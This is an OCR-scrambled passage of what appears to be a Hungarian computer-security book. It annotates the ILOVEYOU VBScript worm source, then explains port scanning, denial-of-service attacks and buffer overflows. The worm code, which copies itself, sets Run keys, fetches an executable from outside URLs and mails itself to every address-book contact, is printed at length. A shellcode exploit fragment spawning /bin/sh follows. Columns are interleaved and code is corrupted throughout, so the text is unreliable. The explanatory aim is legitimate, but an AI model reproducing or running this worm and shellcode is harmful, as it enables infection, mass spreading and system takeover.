zuk, hogy ebben a formájában teljesen hatástalan. A célja csak a felépítés bemu- Set dirwin = fso.GetSpecialFolder(0)
tatása és kommentálása sorról sorra. A vírus a Windows Scripting Host-tal haj- Set dirsystem =fso.GetSpecialFolder(l)
tódik végre. Set dirtemp = fso.GetSpecialFolder(2)
rem barok -loveletter(vbe) <i hate go to school> Set c =fso.GetFile(Wscript.ScriptFullName)
rem by: spyder / ispyder@mail.com / ©GRAMMERSoft Group / c. Copy(dirsystem& "\MSKernel32.vbs")
Manila,Philippines c.Copy(dirwin& "\Win32DLL.vbs")
Ezek a sorok csak szerzői kommentárok, tehát a szerző mailcíme és álneve, a c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
vírus működésére nincs semmilyen hatásuk. regruns( )
On Error Resume Next html( )
dimFSO,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow spreadtoemail( )
eq="" listadriv( )
ctr=0 end sub
Innentől kezdődik a vírus főrutinja. s/HJKjnwerhjkxcvytwertnMTFwerdsfmhPnjw6581345gvsdfl619njbvYT/
Először a CreateObject( ) -tel egy Shell objektumot hoz létre - ez az objektum WIN-BUGSFIX.exe
teszi lehetővé a Windows különböző funkcióinak az elérését. Ki lehet például elseif num = 2 then
olvasni a Registry-t, és írni lehet bele, ami később meg is történik. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
A Set parancsokkal kérdezi le a program a Windows könyvtárait (dirwin), Page", "http://www.skyinet.net/
valamint a Windows/System (dirsystem) könyvtárat, hogy azután a maga egyik ~angelcat/skladjflfdjghKJnmtryDGFikjUlyqwrWe546786324hjk4jnHH
másolatát tegye le a következő neveken: MSKernel32.vbs, Win32DLL.vbs, illet- GbvbmKL/
ve LOVE-LETTER-FOR-YOU.TXT.vbs. Ezek a fájlok tehát kizárólag a vírust JKjhkqj3w/
WIN-BUGSFIX.exe"
tartalmazzák.
Mikor a vírus így bemásolta magát, hozzákezd az igazi feladatához, amihez a elseif num = 3 then
következő függvényeket hívja meg: regruns( ), html( ), spreadtoemail( ) és listadriv( ). regcreate "HKCU\Sofrivare\Microsoft\InternetExplorer\Main\Sart
A html( ) egy helyi HTML-fájlt helyez el, amely valójában még egyszer tar- Page", "http://www.skyinet.net/
talmazza a vírust, és ezt indításkor végrehajtja. ~koichi/jf6TrjkcbGRpGqaql98vbFV5hfFEjbopBdQZnmpOhfgER61b3Vlrvg/
A többi funkciót a forrásszöveg folyamatában magyarázzuk el, a működési WN-BUGSFIX.exe"
elseif num = 4 then
módjukkal együtt.
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
sub regruns( ) Page ", "http://www.skyinet. net/~chu/
On Error Resume Next sdgfhjksdfiklNBmnfgkKLHjkq'wtiiHJBhAFSDGjkhYUgq'werasdjh
Dim num,downread PhjasfdglkNBhbq'webmznxcbvnmadshfgq'w23146I234iiiylthjg/
regcreate WIN-BUGSFIX.exe
"HKEY__LOCAL_MACHINE\Software\Microsoft\Windows\ end if
CurrentVersion \Run \MsKernel32 ",dirsystem&"\MSKernel32.vbs" end if
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ if (fileexist(dovmread&"\WIN-BUGSFIX.exe")=0) then
CurrentVersion \RunServices\Win32DLL ",dirwin8í "\Win32DLL.vbs" regcreate
downread="" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\ Version\Run \ WIN-BUGSFIX",downread& "\WIN-BUGSFIX.exe"
Internet Explorer\Download Directory") regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
if (downread="") then Explorer\Main \Sart
downread="c:" Page",
en if "about:blank"
if<fíleexist(dirsystem&"\WinFAT32.exe")=l) then end if
Randomize end sub
num = Int((4 * Rnd) +1 A regruns( ) funkciónak különböző feladatai vannak a Registry-ben.
if num = 1 then A CurrentVersion/Run alatt két kulcsot hoz létre, mindkettő a vírus előzőleg
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart létrehozott másolatára mutat, MSKernel és Win32DLL név alatt.
Page ", "http://www.skyinet. net/
~yotmg l
A Run alatti bejegyzések a Windows indításakor automatikusan lefutnak. Ez Minden mappán végrehajtja az InfectFiles funkciót. Ez a funkció a mappák
azt jelenti, hogy a következő rendszerindításkor a vírus ismét elindul, és újból egyes fájljait szerkeszti, s hogy pontosan mit is tesz, az majd később következik.
kezdi a működését. Ezután a vírus az Internet cache-t keresi, tehát azt a könyv-
Minden fájlt felsorol, amelyet meg fog fertőzni:
tárat, amelybe a megfelelő fájlokat tölti az Internet Explorer. Ha a vírus nem ta-
lál cache-t, egyszerűen a C:-t használja. sub infectfiles(folderspec)
Most a program megváltoztatja az Internet Explorer kezdőlapját, ehhez négy On Error Resume Next
különböző oldal szolgál választékul, amelyek közül véletlenszerűen választ ki dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
egyet. Minden oldal a skyinet.net egyik szerverére vezet. Erről az oldalról azu- set f=fso. GetFolder(folderspec)
tán még egy további fájlt is automatikusan letölt a vírus, ez a fájl megintcsak set fc =f.Files
bejegyzi magát a Registry-be, úgy, hogy a következő Windows-indításnál vég- for each f1 in fc
rehajtódik, s támogatja a vírus működését. ext=fso. GetExtensionName (f1 .path)
Röviddel az ILOVEYOU megjelenése után azonban a skyinet.net lépett, és ext=Icase(ext)
eltávolította a szerverről a megfelelő oldalakat. s=Icase(f( ).name)
if (ext="vbs") or (ext="vbe") then
sub listadriv
set ap=fso.OpenTextFile(f0).path,2,true)
On Error Resume Next
ap.write vbscopy
Dim d,dc,s
ap.close
Set dc =fso.Drives
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (Ext="sct") or
For Each d in de
(ext="hta") then
If d.DriveType = 2 or d.DriveType=3 Then
set ap=fso. OpenTextFile(f1.path, 2, true)
folderlist(d.patb&"")
ap.write vbscopy
end if
ap.close
Next
bname=fso.GetBaseName (f1.path)
listadriv = s
set cop=fso.GetFile(f0.path)
end sub
cop.copy(folderspec& ""&bname& ".vbs")
Ez a függvény minden meghajtót kilistáz, és ezután meghívja a folderlist fso.DeleteFile(f( ).path)
függvényt, amely a meghajtókon található minden mappát megdolgozza. elseif(ext="jpg") or (ext="jpegn) then
sub folderlist(folderspec) set ap=fso.OpenTextFile(f1.path, 2, true)
On Error Resume Next ap.write vbscopy
dim f, f1, sf ap.close
set f=fso. GetFolder(folderspec) set cop=fso.FetFile(f1.path)
set sf=f.SubFolders cop.copy(f1.path&".vbs")
for each f1 in sf fso.DeleteFile(f1.path)
infectfiles(f1.path) elseif(ext="mp3" ) or (ext="mp2") then
folderlist(f1.path) setmp3=fso.CreateTextFile(f1.path&",vbs")
next mp3.write vbscopy
end sub mp3.close
set att=fso.GetFik(f1.path) A következő függvények segédfüggvények, amelyeket a program más pont-
att.attrihites=att.attributes+2 jain használ fel. Ezek a függvények egy Registry-bejegyzést készítenek, és ellen-
end if őrzik, hogy léteznek-e bizonyos fájlok vagy mappák.
sub regcreate(regkey,regualue)
if (eq<>folderspec) then
Set regedit = CreateObject("Wscript.Shell")
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini")
regedit.RegWrite regkey,regvalue
or (s="mirc.hlp") then
end sub
set scriptini=fso.CreateTextFile(folderspec& "\script.ini")
script.ini.WriteLine "[script] function regget(value)
script.ini.WriteLine ";mIRCScript" Set regedit = CreateObject("Wscript.Shell")
script.ini. WriteLine "; Please dont edit this script... mIRC will corrupt, if regget=regedit.RegRead(value)
mIRCwill" end function
script.ini. WriteLine " corrupt... WINDOWS will affect and will not run
function fileexist(filespec)
correctly. thanks"
On Error Resume Next
script.ini.WriteLine ";"
dim msg
script.ini.WriteLine ";KhaledMardam-Bey"
if (fso.FileExist(filespec)) Then
script.ini.WriteLine ";http://www. mirc. com "
msg = 0
script.ini.WriteLine ";"
else
script.ini.WriteLine "n0=on 1:JOIN:#:{„
msg = 1
script.ini.WriteLine " n 1 = / i f ( = = ) {halt}"
end if
script.ini.WriteLine "n2= /.dcc send
"&dirsystem&\LOVE_LETTER_FOR_YOU.HTM" fileexist = msg
script.ini.WriteLine "n3=}" end function
script.ini.close
function folderexist(folderspec)
eq=folderspec
On Error Resume Next
end if
dim msg
end if
if ( f s o . GetFolderExist(folderspec)) then
next
msg = 0
end sub
else
msg = l
Az InfectFiles -nak két feladata van,
end if
1. Megkeres minden, megadott kiterjesztésű (.js, .wsh, .css stb.) fájlt, és a saját fileexist = msg
magáról készített másolattal írja felül ezeket. end funrtion
2. Ha talál egy mIRC-et (Chat Scriptet), akkor felülírja a script.ini-t. Ez a script, sub spreadtoemail( )
ha lefut, ugyancsak a vírust terjeszti úgy, hogy egy LOVE_LETTER_FOR_ On Error Resume Next
YOU.HTM nevű fájlt küld a csatorna minden felhasználójának. dimx,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
setregedit=CreateObject("Wscript.Sheir) Set out=Nothing
set out=WScript. CreateObject("Outlook.Application ") Set mapi=Nothing
set mapi=out. GetNameSpace("MAPI") end sub
for ctrlists=1 ro mapi.AddressLists.Count
set a=mapi.AddressLisets(ctrlists) A SpreadToEmail( ) függvény megnyitja a programot, amelyben a Windows
x=l minden mailcímet tárol, tehát a címjegyzéket (WAB.EXE), hogy azután a cím-
regv=regedit.RegRead(''HKEY_CURRENT_USER\Software\Microsoft\ jegyzékben talált minden címre elküldje a vírus másolatát.
WAB"&a) Ez a program tulajdonképpeni terjedési módja: lefut, és elküldi magát min-
if(regv="") then den címre, amit talál. Csak ezért tudott ennyire gyorsan elterjedni.
regv=l Amint látjuk, az ILOVEYOU, az egyszerűsége ellenére, igazán komplex
end if funkciókkal van felszerelve. A kár, amelyet a felhasználóknál hátrahagyott,
if (int(a.AddressEntries. Count>inr(regv)) then többnyire csekély, csak különböző script-fáljokat írt át. Az internet-, illetve
for ctrentries=l to a.AddressEntries.Count mailszolgáltatók kára viszont - a feldolgozhatatlan mennyiségű e-mail miatt -
malead=a.AddressEntries(x) milliós volt.
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\
Microsoft\WAB"&malead) 5.8 Hogyan működnek a vírusvizsgálók?
if(regad="") then
set male=out.Createltem(0) A vírusvizsgáló egy adatbázist használ, amely minden felismerhető vírus ne-
male.Recipients.Add(malead) vét és lenyomatát tartalmazza. A legtöbb vírusvizsgáló frissítésekkel folyamato-
male.Subject = "ILOVEYOU" san bővíti az adatbázisát, ehhez a szoftver gyártói saját víruslaborokat tartanak
male.Body =vbcrlf&"kindly check the attached LOVELETTER comingfrom fenn, úgynevezett nyomozócsapatokat foglalkoztatnak, és látogatják az idevágó
me." newsgroupokat, hogy folyamatosan tudjanak reagálni az új fenyegetésekre.
male.Attachments.Add(dirsystem& "\LOVE-LETTER-FOR-YOU. TXT.
vbs")
male.Send 5.8.1 Szkennermodul
regedit.RegWrite
"HKEY_CURRENT_USER \Software \Microsoft\WAB"&malead, 1, A szkennermodul a vírusok felkutatásáért felelős a merevlemezen. A szkenner
"REG_DWORD" ellenőrzi egy fájl vagy egy program kódját. Ha a szkenner megváltoztatott kó-
endif dot vagy valamilyen egyéb eltérést észlel, akkor ezt összehasonlítja az adatbázis
x=x+l lenyomataival, hogy megállapítsa a víruskódokkal való egyezést. Az eljárás neve
next Pattern Matching. A szkennermodul a vírusok sztringjeit és viselkedési módját
regedit.RegWrite is felismeri, és ezzel potenciálisan olyan vírusokat is leleplezhet, amelyek még
"HKEY_CURRENT_USER\Software\Microsoft\WAB"&:a,a. nincsenek benne az adatbázisban. Az ilyen szkennelésnél a hibaszázalék maga-
AddressEntries. Count sabb, mint a normál víruskeresésnél.
endif
next
5.8.2 Víruspajzs
A víruspajzs egy memóriarezidens, a háttérben működő szkenmodul. Úgy
van beállítva, hogy valós időben, folyamatosan kövesse a felhasználók minden
fájlelérését. Ha egy fájlt elindítanak, kijelölnek, átnevezik vagy letöltik a hálóról,
a víruspajzs azonnal megvizsgálja, és ha szükséges, jelentést tesz. A hátránya,
hogy a vírusprogramtól függő mértékben visszafogja a rendszerteljesítményt.
5.8.3 „Fertőtlenítő"
Ha a szkenner vírust talál, ez a modul lép akcióba. Ennek a modulnak, a fer-
tőzéstől függően, különböző opciói vannak a vírus eltávolítására. Vagy megtisz-
títja a fájlt a vírustól, vagy elkülöníti, azaz áthelyezi egy „karanténkönyvtárba",
vagy törli a fájlt, ha nincs rá lehetősége, hogy valamiképpen megtisztítsa.
6.1. A szkenner
A félig nyitott szkennelésnél nem állítanak elő teljes kapcsolatot a hosthoz, ha-
nem a SYN-ACK megerősítés után egy elérhető sockettől RST-ACK-val rögtön
megszakítják a kapcsolatot. Ha a szkennelt számítógép biztonsági és felügyeleti
státusza csekély, akkor nem fogják észrevenni ezt a szkennelést. Az előnye vi-
szont, hogy Unix alatt csak az tud végrehajtani ilyen eljárást, akinek root-jogai
vannak. Ez gondoskodik ugyanis arról, hogy a hálózatokban az erre jogosult 6.2.6 UDP-Recvfrom-And-Write szkennelés
rendszeradminisztrátoron kívül senki se tudjon végrehajtani ilyen szkennelést
alacsonyabb jogokkal. Ellentétben a UDP-ICMP-PORT-UNREACH szkenneléssel, amelynél
csak azok a userek kapnak pozitív visszajelzést, akik rootként vannak bejelent-
kezve, a UDP-Recvfrom-And-Write szkennelés egy normál módon bejelentke-
6.2.3 TCP-FIN-Scan zett felhasználónak is lehetővé teszi, hogy „érdekes" jelzéseket kapjon.
A háttérben ismét egy bug áll: ha megpróbálunk egy portra írni, amelyik a
A TCP-FIN szkennelést a Unix alatti TCP-implementációk többségének UDP-ICMP-PORT-UNREACH szkennelésre ICMP-PORT-UNREACH vá-
egy hibája (bug) teszi lehetővé. A szkennelendő portra egy TCP-csomagot kül- laszt adott (amiről normál felhasználóként nem értesülünk), akkor többnyire ezt
denek egy FIN-csomaggal. A FIN-csomagokat arra használják, hogy a fennálló az üzenetet kapjuk: Error 13 - Try Again, a normál Error 111 - Connection refused
kapcsolatot annak rendje és módja szerint bezárják. A lezárt portok RST- üzenet helyett. Ennél az eljárásnál tehát minden portot kétszer szkennelnek, egy-
csomaggal válaszolnak a FIN-csomagra, a nyitottak ezt nem teszik, ezért lehet szer, hogy a számítógép kiadjon egy választ, amit sajnos, nem látunk, és másod-
a TCP-FIN szkennel könnyen kideríteni a nyitott portokat. A szkennelésnek szor, hogy mégis kapjunk informatív visszajelzést - 13-as hibánál a port le van zár-
ez a módja azok közé a csekély számú eljárások közé tartozik, amelyek nem fel- va. Természetesen ez az eljárás is nagyon időigényes, és gyakran megbízhatatlan.
tűnőek. Ezek a „letapogatások" azonban csak Unix alatt működnek, a Micro-
soft operációs rendszereknél a TCP-implementációnak nincs ilyen fajta hibája.
6.2.7 ICMP-echo-scanning/ping-szkennelés
6.2.4 Fragmentált szkennelés A szkennelésnek ez a módja csak azt állapítja meg, hogy melyik hostok elér-
hetők. Ez azt jelenti, hogy egy ICMP echo scanning/ping szkennelést hajtanak
A fragmentált szkennelés a TCP-szkennelések egy további módja. Ennél a végre, hogy találjanak egy hostot, mielőtt még egy megtalált rendszeren el le-
TCP-csomagok több kis csomagra fragmentálódnak, illetve darabolódnak. hetne indítani a tulajdonképpeni portszkennelést. Ehhez egy ICMP-ECHO-
Ezen a módon lehet meggyőződni arról, hogy nem fogja-e egy tűzfal felfedez- csomagot vagy egyszerűen egy pinget küldenek kölönböző IP-címekre. Ha a
ni a portszkennelést. számok valamelyike mögött van egy rendszer, az ICMP-ECHO-REPLY cso-
maggal válaszol. Megvan tehát a cél, amelyen a támadó a legkülönbözőbb
szkennelésekkel réseket kereshet.
6.2.5 UDP-lCMP-Port-Unreachable szkennelés
Az UDP, más protokollokkal ellentétben, nem igazolja vissza a fogadást. Csak a 6.2.8 A nyitott portok csak a kezdetet jelentik
lezárt port küld vissza egy üzenetet, hogy a port nem elérhető. Tehát szkenneljük
a portokat, és várunk egy UDP-ICMP-PORT-UNREACH üzenetre. A Ha találtatott egy rendszer nyitott portokkal, akkor egy portlista segítségé-
szkennelésnek ez a módja nagyon hosszadalmas, és a pontossága nagy mértékben vel lehet áttekintést kapni arról, hogy milyen szervizek (FTP, Telnet, HTTP,
a szkennelt számítógép kihasználtságától, illetve rendszererőforrásaitól függ. HTTPS, stb.) futnak a rendszeren.
Ráadásul csak Linux alatt működik, és azok a felhasználók, akik rootként A támadók most hozzákezdenének információkat gyűjteni a célrendszerről.
vannak bejelentkezve, megkapják az ICMP PORT UNREACH üzeneteket. Ez az operációs rendszernél kezdődik, amely a számítógépen fut. Aszerint,
Ezeket a szkenneléseket csak a rendszergazda tudja elvégezni, hiszen system hogy milyen portok nyitottak és milyen operációs rendszer van telepítve, a tá-
admin jogok kellenek hozzá. madó utánanéz a megfelelő kihasználási lehetőségeknek.
6.2.9 A portszkennelés elleni védelem
8.1 E-mail-támadások
8.1.1 Mailbombák - túlcsordul a postafiók
8.1.2 A fájlmelléklet kitömése
8.1.3 AConConbug
8.2 ICQ - praktikus és veszélyes
8.2.1 Az ICQ - biztonsági kockázat?
8.2.2 Milyen biztonsági rések vannak?
8 Támadások
az internet-felhasználók ellen
.exe már nem látható. Az .exe végződés helyett csak a -jpg-et látjuk. A felhaszná-
ló azt gondolja, hogy tényleg csak egy képet akarnak küldeni neki. Ha a támadó
például egy trójait vagy egy vírust használt, akkor a felhasználóból, ha elfogad-
ja és végrehajtja a fájlt, könnyen áldozat lesz.
Védelem
Ez a bug az ICQ 2000-ben már nincs benne. Ezért a legjobb védekezés az
aktuális verzióra történő frissítés.
Védekezés
Ha webszervert kell futtatnunk, ne használjuk ezen a gépen az ICQ-t.
9. fejezet - Tartalom
9.1 Mi az a sniffer?
9.2 Hogyan működik egy sniffer?
Az IP-spoofing egy támadási eljárás, amelynél hamis IP-számot használ- Kettő a legismertebb
nukerek közül
nak, hogy hamis identitást színleljenek a megtámadott IT-rendszer felé.
kapcsolat fennmarad, és az adattömeg addig halmozódik, amíg el nem Mikor egy számítógép kapcsolatot próbál felépíteni egy másikkal, akkor
használja a szerver pufferét. Ha most a rendszergazda megpróbál belépni, speciális IP-csomagokat küld, amelyekkel bejelenti a kapcsolatot. Ezeket SYN-
csomagoknak is nevezik. A címzett reagál erre, és válaszul ACK-csomagot
out of buffer hibaüzenetet kap.
(ACK = Acknowledgement = a fogadás nyugtázása) küld. Ezt a folyamatot
Three Way Handshake-nek is nevezik. Aki viszont Land támadást hajt végre,
10.3 Large Packet-támadások avagy a protokoll-implementáció említett hibáját kihasználva, hamisított feladóval
a Ping of Death küldi a SYN-csomagokat egy szerverre - a feladó címe megegyezik a cím-
zettel. A szerver minden SYN-csomagra ACK-csomaggal válaszol, de ezt a
A Denial of Service támadások különösen végzetes fajtája a Ping of csomagot most egy saját nyitott portjára fogja küldeni, ahol a sok IP-stack
Death. Ez utóbbinak semmi köze a tulajdonképpeni ping-parancshoz, egyfajta túlcsordulást idéz elő, és megbénítja az áldozat rendszerét.
amelyről ebben a fejezetben még szó lesz. A támadásnak ezt a fajtáját az elkészült bugfixekkel ma már a legtöbb
Az Internet Protokoll headerrel (fejléccel) együtt pontosan 65535 bájtot operációs rendszer visszaveri.
csomagol egyetlen csomagba, az Ethernet-csomagok pedig csak 1500 báj-
tosak. Az ennél nagyobb csomagokat fragmentálja, vagyis feldarabolja,
hogy egyszerűbb legyen az átvitelük, és aztán újra reassemblálja (összerak- 10.5 TCP-Syn-Flooding
ja) őket. Mindez azért történik, hogy az adatok át tudjanak futni a különbö-
Mint ahogy a Land támadásoknál már leírtuk, ha két számítógép között
ző hálózati rétegeken.
Minden csomagtöredék tartalmaz egy offset értéket és egy azonosítási TCP/IP-n keresztül jön létre kapcsolat, a résztvevők először egy Three Way
számot. Az első csomagban még egy TCP-header is található, valamint a Handshake-et váltanak. A TCP-Syn-Flodding támadásnál a támadó először ha-
portszám, amely meghatározza, hogy milyen csomagról van szó. Ezek a té- mis feladóval nagy számú SYN-csomagot, vagyis „Beszélni akarok veled" üze-
nyek teszik lehetővé, hogy az utolsó töredéknek olyan offset értéket lehet netet küld a hostra. A host ezt megpróbálja egy „OK, kész vagyok" ACK-
adni, amely a teljes csomagot nagyobbnak mutatja 65535 bájtnál. Ez a túl- válaszcsomaggal nyugtázni, és előállítani a kapcsolatot. Ez a kísérlet azonban,
méretezett csomag túlcsordulást (Buffer Overflow-t) okoz a rendszerben, a nemlétező feladó miatt, sikertelen lesz, és a számítógép bizonyos várakozási
és a gép összeomlik. A Ping of Death támadások a következő protokollok- idő után eredménytelennek nyilvánítja a kísérletet. Ha ezt a várakozási időt a
nál lehetségesek: ICMP, UDP és TCP. támadó arra használja, hogy a hostot rettenetes mennyiségű további SYN-
csomaggal bombázza, az rövid időn belül felmondja a szolgálatot.
Röviddel a halálos lö-
kés előtt íme, egy ilyen támadás lefolyásának a sémája.
• A támadó elküldi a SYN l-et.
• A host válaszol a SYN l-re, elküldi az ACK l-et, és várja a választ.
• A támadó elküldi a SYN 2-t.
• A host válaszol a SYN 2-re, elküldi az ACK 2-ét, és várja a választ az
10.4 Land támadások ACK l-re és 2-re.
• A támadó elküldi a SYN 3-at.
A Land támadások a TCP-implementáció egy hibáját használják ki ah-
• És így tovább.
hoz, hogy egy rendszert hatalmas adatfolyammal terheljenek, majd össze-
omlást idézzenek elő. Ez a következőképpen történik. Ezek ellen a támadások ellen is régóta létezik már bugfix.
10.6 Ping-Flodding mítógépeket. (A trójaikról a 4. fejezetben írtunk.) Ha elegendő kiszolgálót ta-
lált, ezeket feltölti scriptekkel vagy programokkal, s az áldozatot csomagok
A pingeket az interneten és a hálózatokban használják, hogy megállapít- áradatával önti el, amitől az összeomlik. A 2000. februári híres DDoS táma-
sák egy host elérhetőségét. Megpingelünk egy hostot, és ha elérhető, vissz- dások óta állandóan növekszik az ilyen jellegű támadásokra alkalmas progra-
hangszerű választ ad. Ezt használják ki a támadók a Ping-Floddingnál. mok száma a Yahoo, az eBay és társai ellen.
Pingekkel bombázzák a célt, a host pedig valamennyire megpróbál vála- Előkészület egy DDoS
szolni. Ha az ismétlés elég gyakori, a host nem tud több kérdésre válaszol- támadásra
ni. Ráadásul a ping-flodding támadásokat az áldozat csak akkor fogja észre-
venni, ha a szolgáltatója a forgalom szerint számol el.
10.7 Smurf
A Smurf-nél a támadó egy hálózat broadcast címére küld egy pinget ma-
nipulált feladócímmel, amelyre minden, a broadcast cím mögötti számító-
gép válaszol. Ez bizony rengeteg választ jelent. A megváltoztatott feladócí-
mek, az áldozatéi, azt eredményezik, hogy minden választ az áldozat kap
meg. Ha ilyen módon másodpercenként 1000 pinget küldenek 1000 külön-
böző számítógépre, az áldozat több mint egymillió választ kap. Az érintett 10.9 Védelem a DoS-támadások ellen
rendszer a bemenő adatok terhe alatt szó szerint összeomlik. Az ilyen tá-
madások után többnyire teljesen le kell venni a szervert a hálózatról. A normál felhasználó számítógépe nemcsak áldozata lehet a DoS-
Smurffel akár nagyon kis átviteli kapacitással rendelkező támadók (mo- támadásoknak, hanem arra is használhatják a támadók, hogy rajta keresztül
dem- vagy ISDN-csatlakozás) is térdre tudnak kényszeríteni nagy átviteli hajtsák végre más rendszerek ellen a támadásokat. A scripteket, illetve a
sávszélességgel rendelkező áldozatokat. programokat többnyire trójaiak segítségével telepítik a rendszerekre, ezért
is elengedhetetlen, hogy mindig legyen aktuális vírusvizsgáló a gépünkön.
A DoS-támadások ellen a jól konfigurált tűzfalak is védelmet kínálnak. A
10.8 DDoS- segítségükkel el lehet kapni a módosított csomagokat, és meg lehet akadá-
Distributed Denial of Service támadások lyozni, hogy sor kerüljön a további feldolgozásukra.
Legyen az szerver vagy normál felhasználó - minden esetben érvényes,
A DDoS-nál (DDoS-támadás = elosztott szolgáltatás megtagadó támadás) hogy mindig tájékozódni kell a mindenkori operációs rendszer biztonságot
még a tulajdonképpeni roham előtt szerez a támadó elérést néhány másik rend- érintő frissítéseiről. A gyártók előbb vagy utóbb felfedezik az operációs
szerre, és ezeket arra használja, hogy az áldozatát nagy mennyiségű adatcsomag- rendszerekben és a szerverszoftverekben a biztonsági szempontból gyenge
gal szembesítse. Az előkészítés abból áll, hogy a támadó a lehető legtöbb olyan pontokat, és rövid idő múlva frissítést kínálnak hozzájuk. Hogy a gyenge
rendszert megtalálja, amelyeken biztosítani tudja magának a rendszergazdai jo- pontok dolgában mindig képben legyünk, érdemes előfizetni a Computer
gokat, hogy fel tudja tölteni a scripteket a támadáshoz. Ehhez a támadó hibás Emergency Response Teams (CERT) levelezőlistájára http://www.cert.org és
rendszereket keres szkenneléssel (közelebbit lásd a szkennelésről szóló fejezet- a gyártóéra. Ezek azonnal tájékoztatnak az újabb gyenge pontok felfedezé-
ben). Ezeken a rendszereken trójaiakat helyez el, hogy távirányítani tudja a szá- séről, és beszerzési forrást kínálnak a megfelelő frissítésekhez.
11. fejezet - Tartalom
Memóriafelépítés
A Buffer-Owerflow tulajdonképpen annyit jelent, hogy többet írnak a
pufferbe, mint amennyit az fel tud dolgozni.
Azokat az adatokat, amelyek már nem férnek be a pufferba, ahelyett,
hogy eldobná a program, megpróbálja beleírni. Ennek következtében az
adatmennyiség kilóg a pufferből egy olyan területre, amely már nem ehhez végül rátesz még egy lapáttal. A biztos eredmény: memóriavédelmi hiba és
a pufferhez, hanem más változókhoz tartozik. Eközben az adatok mindent a program összeomlása.
felülírnak, amit ott találnak, csak hogy megszerezzék a nekik szükséges he- Ha a támadó kapcsolatot épít fel a hosttal, és egy hosszú karakterláncot
lyet. Ez természetesen hibákat eredményez, és végül a program hibás mű- küld egy meghatározott programnak, az lefagy. Azonban bizonyos bevite-
ködését, a tulajdonképpeni Buffer-Overflow-t. lekkel még végre lehet hajtatni egy kódot az instabil rendszeren. Itt a táma-
Egy példa az ilyen kódra: dók különösen abban érdekeltek, hogy egy shellt (parancssort) nyissanak
root-jogokkal a rendszeren. Sok, úgynevezett kizsákmányoló (exploit) kód
voidman( ) {
//a ToGreat változót 256 bájttal inicializálja van, amelyek arra valók, hogy egy Buffer-Overflow segítségével „megörö-
char ToGreat[256] köljenek" egy root-jogokkal rendelkező shellt.
Ezzel át lehet venni az ellenőrzést a számítógép felett.
//ciklusváltozó Talán felmerül a kérdés, hogy miért kell egyáltalán root-jogokkal futniuk a
int i; programoknak. Ennek a következő a háttere: egyes funkciók, mint a raw
//egy ciklus, amely A-kkal tölti ki a memóriaterületet sockets vagy bizonyos rendszererőforrások elérése, például az 1024 alatti
for(i = 0; i < 255; i++) portoké vagy eszközöké, root-jogokat követel meg. A ping egy jó példa az
{ olyan programra, ami root-jogokkal fut, de minden felhasználó elindíthat-
large_string[i] = 'A'; ja. Ez egy SUID bitet helyez el, ami azt jelenti, hogy a program a tulajdonos
; és nem a felhasználó jogaival fut. Ez főleg a SUID-programoknál érdekes,
amelyek a roothoz tartoznak. Világos, hogy egy ilyen program biztonsági
OverFlow (To Great)
kockázatot jelenthet, hiszen rootként futó eljárások csak olyanok lehetnek,
} amelyek már bootoláskor elindulnak. Ha minden felhasználó root-jogokkal
//Most jön a függvény, amely a tulajdonképpeni hibát okozza tud programokat futtatni, természetesen megnő a lehetséges hibaforrások
void Overflow(char *string) száma.
{
//A puffer kisebb, mint a ToGreat változó, amit átadtak
charTolittle[16] 11.2.2 Hogyan működik?
//megpróbálja 256 bájttal teleírni a puffért, holott csak 16 bájtra Shell-kód alatt olyan assembler-kódot értünk, amely arra kényszeríti a
volna lehetőség, programot, hogy egy shellt hozzon létre. A shell-kód értelme és célja, hogy
//ezért az utána elhelyezkedő terület felülíródik ez fusson a főprogram helyett, amikor a program egy eljárásból vagy függ-
strcpy(ToLittle, string); vényből visszatér.
} A továbbiak megértéséhez alapos assembler- és Shellscript-ismeretekre
van szükség - különben nem fog menni. A kivitelezéshez szükséges progra-
mok (GCC=GNU C Compiler, GDB=GNU Debugger) futtatásához még
11.2.1 Hogyan lehet ezt kihasználni? Linux is kell. Forráskódokkal mutatjuk meg, hogyan nem íródnak felül vá-
logatás nélküli tetszőleges programrészek, s hogyan lehet célzottan meg-
Ha a támadó Buffer-Overflow-val akar lefagyasztani egy programot, ak- változtatni a függvény visszatérési pontjának a címét.
kor csak annyit kell tennie, hogy addig ír a pufferba, amíg az megtelik, és
Magyarázatképpen egy forráskód: addr = get_sp( ) - offset;
exploit3.c Az „Offset" értéke 0
#include printf("Using address: 0x%x\n", addr);
#define DEFAULT_OFFSET 0
#DEFAULT_BUFFER_SIZE 512 Kiírja a „Using address: 0x%x\n" -t és az „addr" értékét.
#defineNOP 0x90 ptr = buff;
A „ptr" megfelel a „bufF"-nak
Olyan fogalmakkal lehet dolgozni, mint a „DEFAULT_OFFSET", hogy
addr_ptr = (long *) ptr;
a kód, azáltal, hogy kevesebb számot használunk, olvashatóbbá váljon. Fon-
tos még megemlíteni, hogy a NOP-kód csak a Ox90-es Intel CPU-kon fut. Pointer a ptr címére
for (i = 0; i < bsize; i+=4)
cbar shettcode[ ] = *(addr_ptr++) = addr;
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b" Pointer az „addr-ptr" helyére, mert az addr-ptr címét minden ciklusle-
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\ futással növeljük, a pointer minden alkalommal egy bájttal tovább mutat.
x40\xcd" for (i = 0; i < bsize/2; i++)
"\x80\xe8\xdc\xff\xff\xff\bin/sh"; buff[i] = NOP;
A Shellcode változóhoz egy értéket rendelünk, a Shellcode csak a A NOP-kódokat a pufferméret feléig írjuk a memóriába.
„bin/sh", a többi assembler.
ptr = buff+ ((bsize/2) - (strlen(shellcode)/2));
